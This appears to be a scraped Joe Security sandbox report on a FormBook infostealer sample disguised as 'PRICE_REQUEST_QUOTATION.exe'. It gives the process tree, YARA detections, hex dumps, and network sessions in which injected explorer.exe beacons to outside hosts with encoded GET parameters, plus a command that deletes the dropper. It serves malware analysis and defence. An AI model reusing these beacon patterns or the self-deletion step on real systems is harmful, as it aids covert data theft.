65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 57 6f 72 64 50 72 65 73 73 20 32 2e 35 22 20 2f 3e 0a 20 20 20 
20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 
74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 
20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 6
4 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 
63 61 6c 65 3d 31 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 57 61 69 74 69 6e 67 20 66 6f 72 20 74 68 
65 20 72 65 64 69 72 65 63 74 69 72 6f 6e 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 
20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 62 61 63 
6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 
6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 
69 66 3b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 20 7b 77 69 64 74 68 3a 20 31 30 30 
25 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 20 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 
7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 70 61 6e 20 7b 63 6f 6c 6f 72 3a 20 23 38 37 38 37 38 37 3b 20 66 6f 6e 74 
2d 73 69 7a 65 3a 20 31 32 70 74 3b 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 7d 0a 20 20 20 20 
20 20 20 20 20 20 20 20 68 31 20 7b 63 6f 6c 6f 72 3a 20 23 38 37 38 37 38 37 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 
38 70 74 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 
6c 69 6e 6b 20 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 34 30 70 78 3b 7d 0a 20 
Data Ascii: <!DOCTYPE HTML><html lang="en-US">    <head>        <meta charset="UTF-8" />        <meta http-equ
iv="content-type" content="text/html; charset=utf-8" /><meta name="robots" content="noindex, nofollow" /><meta 
name="keywords" content="joomla, Joomla, joomla 1.5, wordpress 2.5, Drupal" /><meta name="description" conten
t="Joomla!" /><meta name="generator" content="Joomla! 1.5 - Open Source Content Management" /><meta name="gene
rator" content="WordPress 2.5" />        <meta http-equiv="Content-Type" content="text/html;charset=UTF-8" />        <meta 
name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />        <title>Waiting for the redir
ectiron...</title>        <style type="text/css">            body {background-color: #ffffff; font-family: "Helvetica Neue", Helve
tica,Arial,sans-serif;}            html, body {width: 100%; height: 100%; margin: 0; padding: 0;}            span {color: #878787; 
font-size: 12pt;  text-align: center;}            h1 {color: #878787; font-size: 18pt; text-align: center;}            .link {margin-top: 
40px;} 

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.5 49782 154.208.173.139 80 C:\Windows\explorer.exe
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Statistics

Behavior

Click to jump to process

System Behavior

Timestamp
kBytes
transferred Direction Data

Sep 28, 2021 
08:05:30.271586895 CEST

5799 OUT GET /rgoe/?3fph-P=3YB68aNSooiMKLzi5nxxGSNHrBeWjD32XiQQxa052IhpgozgdHof2Vdu69obQAjF9Cm4&p64=N4Ih-
Va0GVIpc HTTP/1.1
Host: www.futurodr.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.5 49783 185.107.56.60 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Sep 28, 2021 
08:05:35.629242897 CEST

5800 OUT GET /rgoe/?3fph-P=qAwo4FjRYg+cFYJClRGUgNSCxZXIn1VUyos+fUau4Qj4+ntS0isf6UMASXIJ1Ag59Aks&p64=N4Ih-
Va0GVIpc HTTP/1.1
Host: www.babeshotnud.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Sep 28, 2021 
08:05:36.039222956 CEST

5800 IN HTTP/1.1 302 Found
cache-control: max-age=0, private, must-revalidate
connection: close
content-length: 11
date: Tue, 28 Sep 2021 06:05:35 GMT
location: http://survey-smiles.com
server: nginx
set-cookie: sid=18c140ce-2022-11ec-a1ad-e2db040519d9; path=/; domain=.babeshotnud.com; expires=Sun, 16 Oct 2089 
09:19:43 GMT; max-age=2147483647; HttpOnly
Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 
Data Ascii: Redirecting

Start time: 08:03:33

Start date: 28/09/2021

Path: C:\Users\user\Desktop\PRICE_REQUEST_QUOTATION.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\PRICE_REQUEST_QUOTATION.exe' 

Imagebase: 0x400000

File size: 267109 bytes

MD5 hash: 85589170AF713A03CA622F94429C634A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: PRICE_REQUEST_QUOTATION.exe PID: 3952 Parent PID: 5664Analysis Process: PRICE_REQUEST_QUOTATION.exe PID: 3952 Parent PID: 5664

General
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File ActivitiesFile Activities

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000000.00000002.275161613.000000000E7D0000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000000.00000002.275161613.000000000E7D0000.00000004.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000000.00000002.275161613.000000000E7D0000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: low

Show Windows behavior

Start time: 08:03:35

Start date: 28/09/2021

Path: C:\Users\user\Desktop\PRICE_REQUEST_QUOTATION.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\PRICE_REQUEST_QUOTATION.exe' 

Imagebase: 0x400000

File size: 267109 bytes

MD5 hash: 85589170AF713A03CA622F94429C634A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000003.00000002.340994927.0000000000910000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000003.00000002.340994927.0000000000910000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000003.00000002.340994927.0000000000910000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000003.00000002.340565896.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000003.00000002.340565896.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000003.00000002.340565896.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000003.00000002.340793636.00000000006C0000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000003.00000002.340793636.00000000006C0000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000003.00000002.340793636.00000000006C0000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000003.00000001.272654309.0000000000400000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000003.00000001.272654309.0000000000400000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000003.00000001.272654309.0000000000400000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group

File CreatedFile Created

File DeletedFile Deleted

File WrittenFile Written

File ReadFile Read

Analysis Process: PRICE_REQUEST_QUOTATION.exe PID: 4684 Parent PID: 3952Analysis Process: PRICE_REQUEST_QUOTATION.exe PID: 4684 Parent PID: 3952

General
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Reputation: low

Show Windows behavior

File ActivitiesFile Activities

Start time: 08:03:43

Start date: 28/09/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE

Imagebase: 0x7ff693d90000

File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BAB0E1D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000000.300226054.0000000006D33000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000006.00000000.300226054.0000000006D33000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000000.300226054.0000000006D33000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000000.316361223.0000000006D33000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000006.00000000.316361223.0000000006D33000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000000.316361223.0000000006D33000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: high

Show Windows behavior

Start time: 08:04:11

Start date: 28/09/2021

Path: C:\Windows\SysWOW64\autoconv.exe

Wow64 process (32bit): false

Commandline: C:\Windows\SysWOW64\autoconv.exe

Imagebase: 0xd10000

File size: 851968 bytes

MD5 hash: 4506BE56787EDCD771A351C10B5AE3B7

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File ReadFile Read

Analysis Process: explorer.exe PID: 3472 Parent PID: 4684Analysis Process: explorer.exe PID: 3472 Parent PID: 4684

General

Analysis Process: autoconv.exe PID: 4484 Parent PID: 3472Analysis Process: autoconv.exe PID: 4484 Parent PID: 3472

General
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Start time: 08:04:11

Start date: 28/09/2021

Path: C:\Windows\SysWOW64\wscript.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\wscript.exe

Imagebase: 0x1060000

File size: 147456 bytes

MD5 hash: 7075DD7B9BE8807FCA93ACD86F724884

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000011.00000002.521170486.0000000001020000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000011.00000002.521170486.0000000001020000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000011.00000002.521170486.0000000001020000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000011.00000002.520482088.0000000000B30000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000011.00000002.520482088.0000000000B30000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000011.00000002.520482088.0000000000B30000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000011.00000002.521863147.0000000003090000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000011.00000002.521863147.0000000003090000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000011.00000002.521863147.0000000003090000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: high

Show Windows behavior

File ActivitiesFile Activities

Start time: 08:04:14

Start date: 28/09/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del 'C:\Users\user\Desktop\PRICE_REQUEST_QUOTATION.exe'

Imagebase: 0x150000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Analysis Process: wscript.exe PID: 4960 Parent PID: 3472Analysis Process: wscript.exe PID: 4960 Parent PID: 3472

General

File ReadFile Read

Analysis Process: cmd.exe PID: 4860 Parent PID: 4960Analysis Process: cmd.exe PID: 4860 Parent PID: 4960

General
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Copyright Joe Security LLC

Start time: 08:04:15

Start date: 28/09/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7ecfc0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: conhost.exe PID: 496 Parent PID: 4860Analysis Process: conhost.exe PID: 496 Parent PID: 4860

General
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